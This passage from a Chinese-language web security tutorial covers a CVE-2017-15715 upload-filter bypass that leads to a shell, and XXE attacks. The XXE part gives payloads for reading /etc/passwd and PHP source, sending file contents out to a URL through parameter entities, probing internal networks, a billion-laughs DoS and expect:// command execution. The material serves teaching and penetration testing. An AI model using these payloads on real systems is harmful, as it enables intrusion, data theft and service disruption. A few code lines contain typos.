<?php if(isset($_FILES['file'])){ $name = basename($_POST['name']); $ext = pathinfo($name,PATHINFO_EXTNSION); if(in_array($ext,['php','php3','php4','php5','phtml','pht'])){ exit("bad file"); } move_uploaded_file($_FILES['file']['tmp_name'],'./'.$name); } ?>
判断检查上传文件的后缀名,如果发现了,就进行拦截。
利用CVE-2017-15715,上传一个包含换行符的文件。注意,只能是**
\x0A
**,不能是\x0D\x0A
,所以我们用hex功能在1.php后面添加一个\x0A
:
访问/1.php%0A
,即可成功getShell;
XXE
XML基础知识
XML值可拓展标记语言,是一种很像HTML的语言。但它的标签需要我们自己定义。
基本格式
<?xml version="1.0" encoding="UTF-8"?> //开头需要声明
<root> //必须包含一个根元素
<child>//子元素
<subchild></subchild>
</child>
</root>//所有元素都需要有对应的关闭标签
语法规则:
1.标签大小写敏感
2.属性值必须加引号,单双都可,如果值用双引号可以用单引号包裹
3.所有元素都必须有一个关闭标签
4.标签必须正确嵌套
5.XML中空格会被保留,不像html中只保留一个
6.<、&必须用实体引用,>、‘、“建议使用实体引用(以防万一还是都用实体引用吧)
DTD基础知识
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。
内部实体声明
语法:<!ENTITY entity-name "entity-value">
示例:
<!DOCTYPE author[
<!ELEMRNT author (#PCDATA)
<!ENTITY name "Restart">
]>
<author>&name;</author>//引用实体
外部实体声明
语法:<!ENTITY entity-name SYSTEM "URL/URI">
示例:
<!DOCTYPE author [
<!ENTITY name SYSTEM "author.dtd">
]>
<author>&name;</author>//引用实体
参数实体
语法:<!ENTITY % entity-name "entity-value">
示例:
<!DOCTYPE author[
<!ENTITY % name "Restart">
]>
<author>%name;</author>
可以发现除了参数实体在定义和引用的时候需要用%,其他实体引用都是用&。
总结出来可以知道,在XML中引用实体,都需要(&或%)+(实体名)+(;),这三个条件(或者说元素)缺一不可。
漏洞利用
文件读取
抓包后简单构造读取文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
有的时候不能直接读出文件内容,需要编码一下,例如读取php文件。因为php文件内部已经含有<等字符,因此需要用filter来读
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">]>
还有一个需要注意的地方,就是嵌套的参数实体,内层的%需要改为字符实体,例如
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;
XML在各语言下支持的协议有:
内网探测
分别构造payload查看hosts文件和arp文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM "file:///etc/hosts">]>
这里是因为hosts文件里没有显示可供访问的内网ip,所以我们去查看arp文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM "file:///proc/net/arp">]>
Dos攻击
本质是递归,通俗来说就是套娃
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
expect rce
在安装expect扩展的PHP环境里执行系统命令
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>
无回显的xxe
这种xxe需要将数据外带,可以利用burp上的collaborator工具
原理就是将这个工具随机产生的url复制到xxe的payload中,当目标服务器进行了外部的请求和交互,该工具会记录下来,于是证明了漏洞存在。
当然,除了利用这个工具,其他平台也可以,类比其他攻击方式的数据外带
Content-Type中的json和xml
当WEB服务使用XML或者JSON中的一种进行传输时,服务器可能会接收开发人员并未预料到的数据格式。如果服务器上的XML解析器的配置不完善,在JSON传输的终端可能会遭受XXE攻击
简单来说就是将Content-Type: application/json改为Content-Type: application/xml,然后将post的内容格式也从json转换为xml,举个例子
原始json数据:
{"search":"name","value":"netspitest"}
修改为xml格式后:
<?xml version="1.0" encoding="UTF-8" ?>
<root>
<search>name</search>
<value>netspitest</value>
</root>
加上root的原因是:json转换过来后没有XML格式文件所必须的元素,可能导致服务器无法正常响应
关于office文件xxe攻击的实现
这个地方首先需要明白xml文件的文件格式,其本质也属于zip压缩文件,相信做过misc题目的同学应该都清楚,office的文件都可以将后缀名改成zip,以压缩文件的方式查看。
了解了这一点,那么来看看excel的构成。这里我新建了一个空白的excel文件,将后缀改为了zip后打开
因此,当渗透测试时遇到上传office文件的地方,不妨尝试一下这种攻击方式。
挖掘XXE的方法
1.检测XML是否会被解析
2.检测服务器是否支持外部实体
3.如果上面两步都支持,那么就看能否回显。有则直接攻击,无则参考无回显的xxe攻击